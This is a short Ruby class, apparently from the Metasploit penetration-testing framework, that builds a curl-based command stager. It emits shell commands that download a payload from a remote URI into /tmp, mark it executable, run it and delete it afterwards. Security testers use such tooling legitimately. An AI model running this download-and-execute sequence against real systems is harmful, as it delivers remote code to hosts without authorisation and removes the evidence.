# -*- coding: binary -*- class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase def http? true end def compress_commands(cmds, opts) if opts[:payload_uri].nil? raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]" end opts[:temp] ||= '/tmp' payload_file = opts[:payload_uri].split('/').last payload_path = opts[:temp] + '/' + payload_file cmds << "curl -ko #{payload_path} #{opts[:payload_uri]}" cmds << "chmod +x #{payload_path}" cmds << payload_path cmds << "rm -f #{payload_path}" unless opts[:nodelete] super end end